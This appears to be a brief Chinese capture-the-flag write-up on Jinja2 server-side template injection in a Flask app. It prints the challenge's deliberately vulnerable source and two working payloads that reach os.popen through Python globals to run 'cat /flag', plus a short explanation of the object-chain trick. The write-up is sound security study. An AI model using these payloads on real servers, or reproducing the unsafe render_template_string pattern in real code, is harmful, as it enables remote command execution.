Werkzeug/1.0.1Python/3.8.7
随便来个 EXP 看看源码先
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}

看看源码过滤了啥
from flask import Flaskfrom flask import requestfrom flask import render_template_stringimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"2|3",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
就加了个是否存在 2 或 3 有则不通过
毕竟刚刚利用了 __subclasses__()[132]
其他解法
/?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
Python中万物皆对象,所有对象都是通过对象继承链来实现。通过向模板渲染部分传入一个不存在的对象,Jinja2 会将其识别为 jinja2.runtime.Undefined 对象,但是这个对象在 Jinja2 处理时,先将其继承于 Jinja2 对象,通过Python继承链,可构造以下Payload来非法获取内置属性(对象所在类 -> 初始实例 -> Jinja2 对象全局字典 -> 内置属性)。上面的 x 可为任意值,是一个Flask识别不了的对象即可。
